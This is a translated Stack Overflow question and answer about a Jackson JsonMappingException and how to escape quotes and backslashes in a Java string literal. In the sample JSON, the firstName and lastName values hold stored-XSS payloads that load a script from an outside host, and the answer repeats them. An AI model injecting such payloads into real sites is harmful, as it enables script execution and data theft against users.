无法解析我从服务中得到的json。我正在使用Jackson API来解析json。我得到了JsonParseException:
com.fasterxml.jackson.databind.JsonMappingException: Unexpected character ('>' (code 62)): was expecting comma to separate OBJECT entriesJSON答复:
{ "errors":[ ],
"id":"1",
"employee":{ "firstName":"bishop<!--\"><script src=//xss.bf.mg></script>-->",
"lastName":"fox\"><script src=//xss.bf.mg></script>"
}
}我的java代码:
ObjectMapper objectMapper = new ObjectMapper();
MyEmployee emp =
objectMapper.readValue(jsonResponse, MyEmployee.class);如果从服务中获得有效的json,则可以成功地反序列化json。我还使用JsonStringEncoder对json进行编码,但仍然得到了JsonMappingException。
jsonResponse = String.valueOf(JsonStringEncoder.getInstance().quoteAsString(jsonResponse));请帮帮忙。
发布于 2017-02-10 11:02:32
如果您将一个String文本传递给杰克逊以反序列化,您将不得不转义反斜杠,该反斜杠在值内转义双引号以及双引号。例如,该代码运行良好:
String jsonResponse = " { \"errors\":[ ], \n" +
" \"id\":\"1\", \n" +
" \"employee\":{ \"firstName\":\"bishop<!--\\\"><script src=//xss.bf.mg></script>-->\", \n" +
" \"lastName\":\"fox\\\"><script src=//xss.bf.mg></script>\"\n" +
" }\n" +
" }";
ObjectMapper objectMapper = new ObjectMapper();
MyEmployee emp = objectMapper.readValue(jsonResponse, MyEmployee.class);注意,在json中的值中,在每个双引号之前总共有3个反斜杠。例如,将传递给firstName的String用于readValue的值编写为:
\"bishop<!--\\\"><script src=//xss.bf.mg></script>-->\"那是:
String文本中的双引号。String文本中转义后一个反斜杠。https://stackoverflow.com/questions/42157093
复制相似问题